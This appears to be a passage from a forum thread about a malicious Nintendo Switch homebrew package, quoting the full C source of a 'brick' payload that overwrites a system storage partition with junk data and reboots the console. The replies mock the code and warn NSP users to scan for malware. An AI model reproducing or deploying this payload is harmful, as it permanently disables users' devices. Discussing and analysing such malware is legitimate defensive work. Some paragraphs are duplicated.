He also sent me its source code:
Code:#include "bpc.h" #include <stdlib.h> #include <switch.h> int main(int argc, char **argv){ FsStorage store; fsOpenBisStorage(&store, 27); bpcInitialize(); char * buf = malloc(0x5000); for ( int i = 0; i< 1000; i=i+5 ) { buf[i] = '8'; buf[i+1] = '0'; buf[i+2] = '0'; buf[i+3] = '8'; buf[i+4] = '5'; } fsStorageWrite(&store, 0, buf, 0x5000); fsStorageClose(&store); free(buf); bpcRebootSystem(); }
It's utterly horrendously written code.
To anybody that uses nsp and don't know if they have malware, try scan them with some helpful tools (idk which ones))
A bit like why do they use sterile wipes to clean the skin just before a lethal injection?There's just something funny about freeing used memory after bricking it. The console is obviously not going to benefit from the freed memory (it's bricked for a start) but it still amuses me that they've actually thought about the code while writing it.
There's just something funny about freeing used memory after bricking it. The console is obviously not going to benefit from the freed memory (it's bricked for a start) but it still amuses me that they've actually thought about the code while writing it.
Any info was directly from OG (the dev of the brick code) so don't give me fucking sass on it fuckin hellNice writeup Midstor, now I know precisely the way it doesn't work. So at least that's one less possibility I can check off the list